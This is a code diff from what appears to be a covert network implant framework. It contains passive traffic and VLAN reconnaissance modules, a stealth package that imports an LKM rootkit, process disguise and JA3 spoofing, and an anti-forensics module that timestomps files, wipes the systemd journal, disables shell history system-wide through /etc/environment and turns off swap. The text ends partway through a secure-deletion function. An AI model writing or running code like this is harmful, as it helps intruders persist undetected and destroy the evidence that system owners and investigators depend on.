||||
if total_proto_bytes > 0:
|
||||
proto_pct = {k: round(v / total_proto_bytes * 100, 1)
|
||||
for k, v in proto_dist.items()}
|
||||
else:
|
||||
proto_pct = {}
|
||||
|
||||
# Top talkers (by bytes, top 20)
|
||||
with self._host_lock:
|
||||
host_bytes_snapshot = dict(self._host_bytes)
|
||||
|
||||
top_talkers = sorted(host_bytes_snapshot.items(), key=lambda x: x[1], reverse=True)[:20]
|
||||
|
||||
# Store baseline in state for traffic_mimicry
|
||||
self.state.set(self.name, "protocol_distribution", proto_pct)
|
||||
self.state.set(self.name, "top_talkers", [
|
||||
{"ip": ip, "bytes": b} for ip, b in top_talkers
|
||||
])
|
||||
self.state.set(self.name, "total_bytes", self._total_bytes)
|
||||
self.state.set(self.name, "total_packets", self._total_packets)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public query methods
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_top_talkers(self, n: int = 10, by: str = "bytes") -> list:
|
||||
"""Return top N talkers by bytes or packets."""
|
||||
with self._host_lock:
|
||||
if by == "packets":
|
||||
data = dict(self._host_packets)
|
||||
else:
|
||||
data = dict(self._host_bytes)
|
||||
|
||||
sorted_hosts = sorted(data.items(), key=lambda x: x[1], reverse=True)[:n]
|
||||
return [{"ip": ip, by: val} for ip, val in sorted_hosts]
|
||||
|
||||
def get_protocol_distribution(self) -> dict:
|
||||
"""Return protocol distribution as percentages."""
|
||||
with self._proto_lock:
|
||||
total = sum(self._proto_bytes.values())
|
||||
if total == 0:
|
||||
return {}
|
||||
return {k: round(v / total * 100, 2) for k, v in self._proto_bytes.items()}
|
||||
|
||||
def get_detected_beacons(self) -> list:
|
||||
"""Return list of detected beacon connections."""
|
||||
return list(self._detected_beacons)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Flow flush
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(self.FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_flows()
|
||||
except Exception:
|
||||
logger.exception("Flow flush error")
|
||||
|
||||
def _flush_flows(self) -> None:
|
||||
"""Write flow table to SQLite."""
|
||||
with self._flows_lock:
|
||||
flows_snapshot = dict(self._flows)
|
||||
|
||||
if not flows_snapshot or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
for flow_key, flow_data in flows_snapshot.items():
|
||||
src_ip, dst_ip, src_port, dst_port, proto = flow_key
|
||||
self._db_conn.execute(
|
||||
"""INSERT INTO flows
|
||||
(src_ip, dst_ip, src_port, dst_port, proto,
|
||||
bytes_total, packets, first_seen, last_seen, is_beacon)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT DO NOTHING
|
||||
""",
|
||||
(src_ip, dst_ip, src_port, dst_port, proto,
|
||||
flow_data["bytes_total"], flow_data["packets"],
|
||||
flow_data["first_seen"], flow_data["last_seen"],
|
||||
int(flow_data.get("is_beacon", False))),
|
||||
)
|
||||
self._db_conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to flush %d flows", len(flows_snapshot))
|
||||
@@ -0,0 +1,432 @@
|
||||
#!/usr/bin/env python3
|
||||
"""VLAN discovery — 802.1Q tag detection, DTP/CDP/LLDP/STP parsing.
|
||||
|
||||
Passively identifies VLAN infrastructure by parsing layer-2 control protocols.
|
||||
Detects 802.1Q tagged frames, DTP trunk negotiation, 802.1X/EAPOL NAC,
|
||||
CDP/LLDP neighbor announcements, and STP BPDUs.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Ethertypes and protocol IDs
|
||||
ETHERTYPE_8021Q = 0x8100
|
||||
ETHERTYPE_8021AD = 0x88A8 # QinQ
|
||||
ETHERTYPE_EAPOL = 0x888E
|
||||
ETHERTYPE_LLDP = 0x88CC
|
||||
|
||||
# CDP/DTP use SNAP encapsulation with LLC header (DSAP=DSAP=0xAA, SSAP=0xAA, ctrl=0x03)
|
||||
# CDP OUI: 0x00000C, protocol: 0x2000
|
||||
# DTP OUI: 0x00000C, protocol: 0x2004
|
||||
# STP uses LLC (DSAP=0x42, SSAP=0x42)
|
||||
|
||||
# CDP TLV types
|
||||
CDP_TLV_DEVICE_ID = 0x0001
|
||||
CDP_TLV_ADDRESS = 0x0002
|
||||
CDP_TLV_PORT_ID = 0x0003
|
||||
CDP_TLV_CAPABILITIES = 0x0004
|
||||
CDP_TLV_SOFTWARE_VERSION = 0x0005
|
||||
CDP_TLV_PLATFORM = 0x0006
|
||||
CDP_TLV_NATIVE_VLAN = 0x000A
|
||||
CDP_TLV_MANAGEMENT_ADDR = 0x0016
|
||||
|
||||
# LLDP TLV types
|
||||
LLDP_TLV_END = 0
|
||||
LLDP_TLV_CHASSIS_ID = 1
|
||||
LLDP_TLV_PORT_ID = 2
|
||||
LLDP_TLV_TTL = 3
|
||||
LLDP_TLV_PORT_DESC = 4
|
||||
LLDP_TLV_SYSTEM_NAME = 5
|
||||
LLDP_TLV_SYSTEM_DESC = 6
|
||||
LLDP_TLV_MGMT_ADDR = 8
|
||||
|
||||
_DB_INIT = """
|
||||
CREATE TABLE IF NOT EXISTS vlans (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
vlan_id INTEGER NOT NULL,
|
||||
name TEXT DEFAULT '',
|
||||
source TEXT NOT NULL,
|
||||
switch_name TEXT DEFAULT '',
|
||||
switch_port TEXT DEFAULT '',
|
||||
first_seen REAL NOT NULL,
|
||||
UNIQUE(vlan_id, source, switch_name, switch_port)
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_vlans_vlan_id ON vlans(vlan_id);
|
||||
"""
|
||||
|
||||
FLUSH_INTERVAL = 30
|
||||
|
||||
|
||||
class VLANDiscovery(BaseModule):
|
||||
"""Passively discover VLANs via 802.1Q tags and L2 protocol parsing."""
|
||||
|
||||
name = "vlan_discovery"
|
||||
module_type = "passive"
|
||||
priority = 150
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._read_thread: Optional[threading.Thread] = None
|
||||
self._flush_thread: Optional[threading.Thread] = None
|
||||
self._db_path = self._resolve_db_path()
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._write_buffer: list[tuple] = []
|
||||
self._buffer_lock = threading.Lock()
|
||||
self._stats = {
|
||||
"dot1q_frames": 0,
|
||||
"cdp_frames": 0,
|
||||
"lldp_frames": 0,
|
||||
"dtp_frames": 0,
|
||||
"stp_bpdus": 0,
|
||||
"eapol_frames": 0,
|
||||
"vlans_found": 0,
|
||||
"packets_processed": 0,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._init_db()
|
||||
self._capture_bus = self.config.get("_capture_bus")
|
||||
if self._capture_bus is None:
|
||||
logger.error("VLANDiscovery requires _capture_bus in config")
|
||||
return
|
||||
|
||||
# Broad filter: we need 802.1Q (any ethertype), CDP/DTP (SNAP), LLDP, STP, EAPOL
|
||||
# Compile a catch-all because these span multiple ethertypes and LLC frames
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter="", queue_depth=3000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
self._read_thread = threading.Thread(
|
||||
target=self._read_loop, daemon=True, name="sensor-vlan-read"
|
||||
)
|
||||
self._read_thread.start()
|
||||
|
||||
self._flush_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-vlan-flush"
|
||||
)
|
||||
self._flush_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("VLANDiscovery started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
if self._capture_bus and self._sub_queue:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
if self._read_thread and self._read_thread.is_alive():
|
||||
self._read_thread.join(timeout=5.0)
|
||||
if self._flush_thread and self._flush_thread.is_alive():
|
||||
self._flush_thread.join(timeout=5.0)
|
||||
self._flush_buffer()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("VLANDiscovery stopped — stats: %s", self._stats)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
**self._stats,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet processing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_loop(self) -> None:
|
||||
"""Read packets from capture bus and dispatch to parsers."""
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, pkt = result
|
||||
self._stats["packets_processed"] += 1
|
||||
try:
|
||||
self._process_frame(pkt, ts)
|
||||
except Exception:
|
||||
logger.debug("Error processing frame", exc_info=True)
|
||||
|
||||
def _process_frame(self, pkt: bytes, ts: float) -> None:
|
||||
"""Identify and dispatch frame to appropriate parser."""
|
||||
if len(pkt) < 14:
|
||||
return
|
||||
|
||||
dst_mac = pkt[0:6]
|
||||
ethertype = struct.unpack("!H", pkt[12:14])[0]
|
||||
|
||||
# 802.1Q tagged frame
|
||||
if ethertype == ETHERTYPE_8021Q or ethertype == ETHERTYPE_8021AD:
|
||||
self._parse_dot1q(pkt, ts)
|
||||
return
|
||||
|
||||
# LLDP
|
||||
if ethertype == ETHERTYPE_LLDP:
|
||||
self._parse_lldp(pkt, ts)
|
||||
return
|
||||
|
||||
# EAPOL (802.1X)
|
||||
if ethertype == ETHERTYPE_EAPOL:
|
||||
self._stats["eapol_frames"] += 1
|
||||
self._record_vlan(0, "eapol_detected", "", "", ts)
|
||||
return
|
||||
|
||||
# Check for LLC/SNAP frames (ethertype field is actually length if < 0x0600)
|
||||
if ethertype <= 0x05DC and len(pkt) >= 22:
|
||||
self._parse_llc_snap(pkt, ts)
|
||||
|
||||
def _parse_dot1q(self, pkt: bytes, ts: float) -> None:
|
||||
"""Parse 802.1Q tagged frame to extract VLAN ID."""
|
||||
if len(pkt) < 18:
|
||||
return
|
||||
tci = struct.unpack("!H", pkt[14:16])[0]
|
||||
vlan_id = tci & 0x0FFF
|
||||
if vlan_id > 0:
|
||||
self._stats["dot1q_frames"] += 1
|
||||
self._record_vlan(vlan_id, "802.1q", "", "", ts)
|
||||
|
||||
def _parse_llc_snap(self, pkt: bytes, ts: float) -> None:
|
||||
"""Parse LLC/SNAP encapsulated frames for CDP, DTP, STP."""
|
||||
# Minimum: 14 (eth) + 3 (LLC) = 17 bytes for STP check
|
||||
if len(pkt) < 17:
|
||||
return
|
||||
|
||||
dsap = pkt[14]
|
||||
ssap = pkt[15]
|
||||
ctrl = pkt[16]
|
||||
|
||||
# STP BPDU: DSAP=0x42, SSAP=0x42
|
||||
if dsap == 0x42 and ssap == 0x42:
|
||||
self._parse_stp(pkt, ts)
|
||||
return
|
||||
|
||||
# SNAP: DSAP=0xAA, SSAP=0xAA, Ctrl=0x03
|
||||
if dsap == 0xAA and ssap == 0xAA and ctrl == 0x03 and len(pkt) >= 22:
|
||||
oui = pkt[17:20]
|
||||
proto = struct.unpack("!H", pkt[20:22])[0]
|
||||
|
||||
# CDP: OUI 0x00000C, protocol 0x2000
|
||||
if oui == b'\x00\x00\x0c' and proto == 0x2000:
|
||||
self._parse_cdp(pkt[22:], ts)
|
||||
return
|
||||
|
||||
# DTP: OUI 0x00000C, protocol 0x2004
|
||||
if oui == b'\x00\x00\x0c' and proto == 0x2004:
|
||||
self._parse_dtp(pkt[22:], ts)
|
||||
return
|
||||
|
||||
def _parse_cdp(self, payload: bytes, ts: float) -> None:
|
||||
"""Parse CDP TLVs to extract switch name, port, VLAN, platform."""
|
||||
if len(payload) < 4:
|
||||
return
|
||||
self._stats["cdp_frames"] += 1
|
||||
|
||||
# CDP header: version(1), TTL(1), checksum(2)
|
||||
offset = 4
|
||||
device_id = ""
|
||||
port_id = ""
|
||||
platform = ""
|
||||
native_vlan = 0
|
||||
|
||||
while offset + 4 <= len(payload):
|
||||
tlv_type = struct.unpack("!H", payload[offset:offset + 2])[0]
|
||||
tlv_len = struct.unpack("!H", payload[offset + 2:offset + 4])[0]
|
||||
if tlv_len < 4 or offset + tlv_len > len(payload):
|
||||
break
|
||||
tlv_data = payload[offset + 4:offset + tlv_len]
|
||||
|
||||
if tlv_type == CDP_TLV_DEVICE_ID:
|
||||
device_id = tlv_data.decode("ascii", errors="replace").strip('\x00')
|
||||
elif tlv_type == CDP_TLV_PORT_ID:
|
||||
port_id = tlv_data.decode("ascii", errors="replace").strip('\x00')
|
||||
elif tlv_type == CDP_TLV_PLATFORM:
|
||||
platform = tlv_data.decode("ascii", errors="replace").strip('\x00')
|
||||
elif tlv_type == CDP_TLV_NATIVE_VLAN and len(tlv_data) >= 2:
|
||||
native_vlan = struct.unpack("!H", tlv_data[:2])[0]
|
||||
|
||||
offset += tlv_len
|
||||
|
||||
if native_vlan > 0:
|
||||
self._record_vlan(native_vlan, "cdp", device_id, port_id, ts)
|
||||
|
||||
if device_id:
|
||||
self.bus.emit("VLAN_DETECTED", {
|
||||
"source": "cdp",
|
||||
"switch_name": device_id,
|
||||
"switch_port": port_id,
|
||||
"platform": platform,
|
||||
"native_vlan": native_vlan,
|
||||
}, source_module=self.name)
|
||||
|
||||
def _parse_dtp(self, payload: bytes, ts: float) -> None:
|
||||
"""Parse DTP frames — Cisco VLAN trunk negotiation."""
|
||||
self._stats["dtp_frames"] += 1
|
||||
# DTP presence alone is noteworthy (trunk negotiation active)
|
||||
self.bus.emit("VLAN_DETECTED", {
|
||||
"source": "dtp",
|
||||
"detail": "DTP trunk negotiation detected — VLAN hopping may be possible",
|
||||
}, source_module=self.name)
|
||||
|
||||
def _parse_lldp(self, pkt: bytes, ts: float) -> None:
|
||||
"""Parse LLDP TLVs for system name, port description, management address."""
|
||||
if len(pkt) < 16:
|
||||
return
|
||||
self._stats["lldp_frames"] += 1
|
||||
|
||||
# LLDP payload starts after Ethernet header (14 bytes)
|
||||
offset = 14
|
||||
system_name = ""
|
||||
port_desc = ""
|
||||
mgmt_addr = ""
|
||||
|
||||
while offset + 2 <= len(pkt):
|
||||
tlv_header = struct.unpack("!H", pkt[offset:offset + 2])[0]
|
||||
tlv_type = (tlv_header >> 9) & 0x7F
|
||||
tlv_len = tlv_header & 0x01FF
|
||||
offset += 2
|
||||
|
||||
if tlv_type == LLDP_TLV_END or offset + tlv_len > len(pkt):
|
||||
break
|
||||
|
||||
tlv_data = pkt[offset:offset + tlv_len]
|
||||
|
||||
if tlv_type == LLDP_TLV_SYSTEM_NAME:
|
||||
system_name = tlv_data.decode("utf-8", errors="replace")
|
||||
elif tlv_type == LLDP_TLV_PORT_DESC:
|
||||
port_desc = tlv_data.decode("utf-8", errors="replace")
|
||||
elif tlv_type == LLDP_TLV_MGMT_ADDR and tlv_len >= 6:
|
||||
addr_len = tlv_data[0]
|
||||
addr_subtype = tlv_data[1]
|
||||
if addr_subtype == 1 and addr_len >= 5: # IPv4
|
||||
addr_bytes = tlv_data[2:6]
|
||||
mgmt_addr = ".".join(str(b) for b in addr_bytes)
|
||||
|
||||
offset += tlv_len
|
||||
|
||||
if system_name:
|
||||
self.bus.emit("VLAN_DETECTED", {
|
||||
"source": "lldp",
|
||||
"system_name": system_name,
|
||||
"port_desc": port_desc,
|
||||
"mgmt_addr": mgmt_addr,
|
||||
}, source_module=self.name)
|
||||
|
||||
def _parse_stp(self, pkt: bytes, ts: float) -> None:
|
||||
"""Parse STP BPDU to extract root bridge ID and priority."""
|
||||
# LLC header at 14, STP BPDU starts at 17
|
||||
if len(pkt) < 38:
|
||||
return
|
||||
self._stats["stp_bpdus"] += 1
|
||||
|
||||
bpdu = pkt[17:]
|
||||
if len(bpdu) < 21:
|
||||
return
|
||||
|
||||
# Protocol ID (2), version (1), type (1)
|
||||
proto_id = struct.unpack("!H", bpdu[0:2])[0]
|
||||
if proto_id != 0x0000:
|
||||
return
|
||||
|
||||
# Flags (1 byte at offset 4)
|
||||
# Root bridge ID: 8 bytes at offset 5 (priority 2 bytes + MAC 6 bytes)
|
||||
if len(bpdu) >= 13:
|
||||
root_priority = struct.unpack("!H", bpdu[5:7])[0]
|
||||
root_mac = ":".join(f"{b:02x}" for b in bpdu[7:13])
|
||||
# Bridge ID: 8 bytes at offset 13
|
||||
bridge_priority = struct.unpack("!H", bpdu[13:15])[0] if len(bpdu) >= 15 else 0
|
||||
|
||||
self.bus.emit("VLAN_DETECTED", {
|
||||
"source": "stp",
|
||||
"root_bridge_mac": root_mac,
|
||||
"root_priority": root_priority,
|
||||
"bridge_priority": bridge_priority,
|
||||
}, source_module=self.name)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _resolve_db_path(self) -> str:
|
||||
base = self.config.get("db_dir", os.path.join(
|
||||
os.path.expanduser("~"), ".implant"
|
||||
))
|
||||
return os.path.join(base, "vlan_discovery.db")
|
||||
|
||||
def _init_db(self) -> None:
|
||||
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript(_DB_INIT)
|
||||
self._db_conn.commit()
|
||||
|
||||
def _record_vlan(self, vlan_id: int, source: str, switch_name: str,
|
||||
switch_port: str, ts: float) -> None:
|
||||
"""Buffer a VLAN record for batch insert."""
|
||||
with self._buffer_lock:
|
||||
self._write_buffer.append((vlan_id, "", source, switch_name, switch_port, ts))
|
||||
|
||||
def _flush_buffer(self) -> None:
|
||||
"""Write buffered records to SQLite."""
|
||||
with self._buffer_lock:
|
||||
batch = list(self._write_buffer)
|
||||
self._write_buffer.clear()
|
||||
|
||||
if not batch or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
with self._db_conn:
|
||||
self._db_conn.executemany(
|
||||
"""INSERT INTO vlans (vlan_id, name, source, switch_name, switch_port, first_seen)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(vlan_id, source, switch_name, switch_port) DO NOTHING""",
|
||||
batch,
|
||||
)
|
||||
new_count = len(batch)
|
||||
self._stats["vlans_found"] += new_count
|
||||
except Exception:
|
||||
logger.exception("Failed to flush VLAN records")
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
"""Periodically flush write buffer to disk."""
|
||||
while self._running:
|
||||
time.sleep(FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_buffer()
|
||||
except Exception:
|
||||
logger.exception("Flush loop error")
|
||||
@@ -0,0 +1,29 @@
|
||||
"""SystemMonitor stealth modules — OPSEC layer."""
|
||||
|
||||
from modules.stealth.mac_manager import MacManager
|
||||
from modules.stealth.process_disguise import ProcessDisguise
|
||||
from modules.stealth.log_suppression import LogSuppression
|
||||
from modules.stealth.encrypted_storage import EncryptedStorage
|
||||
from modules.stealth.tmpfs_manager import TmpfsManager
|
||||
from modules.stealth.watchdog import Watchdog
|
||||
from modules.stealth.anti_forensics import AntiForensics
|
||||
from modules.stealth.traffic_mimicry import TrafficMimicry
|
||||
from modules.stealth.ja3_spoofer import JA3Spoofer
|
||||
from modules.stealth.ids_tester import IDSTester
|
||||
from modules.stealth.lkm_rootkit import LKMRootkit
|
||||
from modules.stealth.overlayfs_manager import OverlayfsManager
|
||||
|
||||
__all__ = [
|
||||
"MacManager",
|
||||
"ProcessDisguise",
|
||||
"LogSuppression",
|
||||
"EncryptedStorage",
|
||||
"TmpfsManager",
|
||||
"Watchdog",
|
||||
"AntiForensics",
|
||||
"TrafficMimicry",
|
||||
"JA3Spoofer",
|
||||
"IDSTester",
|
||||
"LKMRootkit",
|
||||
"OverlayfsManager",
|
||||
]
|
||||
@@ -0,0 +1,293 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Anti-forensics module: timestomping, core dump suppression, swap disable,
|
||||
journal cleaning, history suppression, secure deletion."""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.stealth import (
|
||||
disable_core_dumps,
|
||||
hide_from_history,
|
||||
set_sysctl,
|
||||
timestomp,
|
||||
timestomp_recursive,
|
||||
_get_os_install_time,
|
||||
)
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# SystemMonitor install root (default; overridden by config)
|
||||
BB_ROOT = "/opt/.cache/bb"
|
||||
|
||||
|
||||
class AntiForensics(BaseModule):
|
||||
"""Apply anti-forensic hardening: timestomp, swap off, core dumps off,
|
||||
journal vacuum, history suppression, bettercap tmpfs home."""
|
||||
|
||||
name = "anti_forensics"
|
||||
module_type = "stealth"
|
||||
priority = -400
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._measures: dict[str, bool] = {
|
||||
"timestomp": False,
|
||||
"core_dumps_disabled": False,
|
||||
"swap_disabled": False,
|
||||
"journal_cleaned": False,
|
||||
"history_suppressed": False,
|
||||
"bettercap_tmpfs_home": False,
|
||||
}
|
||||
self._bb_root = config.get("bb_root", BB_ROOT)
|
||||
self._timestomp_ref = config.get("timestomp_reference", "/etc/os-release")
|
||||
self._files_stomped = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
logger.info("AntiForensics starting — applying all measures")
|
||||
|
||||
self._apply_timestomp()
|
||||
self._disable_core_dumps()
|
||||
self._disable_swap()
|
||||
self._clean_journal()
|
||||
self._suppress_history()
|
||||
self._set_bettercap_tmpfs_home()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("AntiForensics active — measures: %s", self._measures)
|
||||
|
||||
def stop(self) -> None:
|
||||
"""Anti-forensic measures persist intentionally — nothing to undo."""
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("AntiForensics stopped (measures remain in effect)")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"measures": dict(self._measures),
|
||||
"files_stomped": self._files_stomped,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "bb_root" in config:
|
||||
self._bb_root = config["bb_root"]
|
||||
if "timestomp_reference" in config:
|
||||
self._timestomp_ref = config["timestomp_reference"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Timestomping
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _apply_timestomp(self) -> None:
|
||||
"""Timestomp all SystemMonitor files to OS install date."""
|
||||
try:
|
||||
ref_time = self._get_reference_time()
|
||||
if os.path.isdir(self._bb_root):
|
||||
self._files_stomped = timestomp_recursive(
|
||||
self._bb_root, epoch=ref_time,
|
||||
)
|
||||
logger.info("Timestomped %d files under %s", self._files_stomped, self._bb_root)
|
||||
self._measures["timestomp"] = True
|
||||
except Exception:
|
||||
logger.exception("Timestomp failed")
|
||||
self._measures["timestomp"] = False
|
||||
|
||||
def _get_reference_time(self) -> float:
|
||||
"""Determine OS install timestamp for timestomping."""
|
||||
# Try explicit reference first
|
||||
if self._timestomp_ref and os.path.exists(self._timestomp_ref):
|
||||
try:
|
||||
return os.stat(self._timestomp_ref).st_mtime
|
||||
except OSError:
|
||||
pass
|
||||
# Fallback via utils helper
|
||||
return _get_os_install_time()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Core dumps
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _disable_core_dumps(self) -> None:
|
||||
"""Disable core dumps via rlimit, sysctl, and prctl."""
|
||||
try:
|
||||
success = disable_core_dumps()
|
||||
# Also set via ulimit for child processes
|
||||
try:
|
||||
import resource
|
||||
resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
|
||||
except Exception:
|
||||
pass
|
||||
self._measures["core_dumps_disabled"] = success
|
||||
if success:
|
||||
logger.info("Core dumps disabled")
|
||||
else:
|
||||
logger.warning("Core dump disable partially failed")
|
||||
except Exception:
|
||||
logger.exception("Core dump disable failed")
|
||||
self._measures["core_dumps_disabled"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Swap
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _disable_swap(self) -> None:
|
||||
"""Disable all swap to prevent sensitive data hitting disk."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["swapoff", "-a"],
|
||||
capture_output=True, timeout=30,
|
||||
)
|
||||
self._measures["swap_disabled"] = result.returncode == 0
|
||||
if result.returncode == 0:
|
||||
logger.info("Swap disabled (swapoff -a)")
|
||||
else:
|
||||
logger.warning("swapoff -a returned %d: %s",
|
||||
result.returncode, result.stderr.decode(errors="replace"))
|
||||
except FileNotFoundError:
|
||||
logger.warning("swapoff not found")
|
||||
self._measures["swap_disabled"] = False
|
||||
except Exception:
|
||||
logger.exception("Swap disable failed")
|
||||
self._measures["swap_disabled"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Journal cleaning
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _clean_journal(self) -> None:
|
||||
"""Vacuum journal entries that might reference SystemMonitor components."""
|
||||
try:
|
||||
# Vacuum to 1s to remove old entries we may have generated
|
||||
result = subprocess.run(
|
||||
["journalctl", "--vacuum-time=1s"],
|
||||
capture_output=True, timeout=30,
|
||||
)
|
||||
self._measures["journal_cleaned"] = result.returncode == 0
|
||||
if result.returncode == 0:
|
||||
logger.info("Journal vacuumed")
|
||||
except FileNotFoundError:
|
||||
# No systemd journal on this system
|
||||
self._measures["journal_cleaned"] = True
|
||||
except Exception:
|
||||
logger.exception("Journal vacuum failed")
|
||||
self._measures["journal_cleaned"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Shell history suppression
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _suppress_history(self) -> None:
|
||||
"""Set HISTFILE=/dev/null for current and future shells."""
|
||||
try:
|
||||
success = hide_from_history()
|
||||
# Also write to /etc/environment for all sessions
|
||||
try:
|
||||
env_file = Path("/etc/environment")
|
||||
if env_file.exists():
|
||||
content = env_file.read_text()
|
||||
lines_to_add = []
|
||||
if "HISTFILE=" not in content:
|
||||
lines_to_add.append("HISTFILE=/dev/null")
|
||||
if "HISTSIZE=" not in content:
|
||||
lines_to_add.append("HISTSIZE=0")
|
||||
if lines_to_add:
|
||||
with open(env_file, "a") as f:
|
||||
for line in lines_to_add:
|
||||
f.write(f"\n{line}")
|
||||
except PermissionError:
|
||||
pass
|
||||
self._measures["history_suppressed"] = success
|
||||
if success:
|
||||
logger.info("Shell history suppressed")
|
||||
except Exception:
|
||||
logger.exception("History suppression failed")
|
||||
self._measures["history_suppressed"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Bettercap tmpfs home
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _set_bettercap_tmpfs_home(self) -> None:
|
||||
"""Point $HOME to a tmpfs path so bettercap writes ~/.bettercap/ to RAM."""
|
||||
try:
|
||||
tmpfs_home = "/dev/shm/.bb_home"
|
||||
os.makedirs(tmpfs_home, mode=0o700, exist_ok=True)
|
||||
os.environ["HOME"] = tmpfs_home
|
||||
# Create minimal .bettercap dir so bettercap doesn't complain
|
||||
bettercap_dir = os.path.join(tmpfs_home, ".bettercap")
|
||||
os.makedirs(bettercap_dir, mode=0o700, exist_ok=True)
|
||||
self._measures["bettercap_tmpfs_home"] = True
|
||||
logger.info("Bettercap HOME set to tmpfs: %s", tmpfs_home)
|
||||
except Exception:
|
||||
logger.exception("Bettercap tmpfs HOME setup failed")
|
||||
self._measures["bettercap_tmpfs_home"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Secure deletion utility
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def secure_delete(path: str, passes: int = 3) -> bool:
|
||||
"""Securely delete a file: 3-pass overwrite (random, zero, random) then unlink.
|
||||
|
||||
Falls back to simple unlink if shred is unavailable.
|
||||
"""
|
||||
if not os.path.isfile(path):
|
||||
return False
|
||||
try:
|
||||
result = subprocess.run(
|
||||
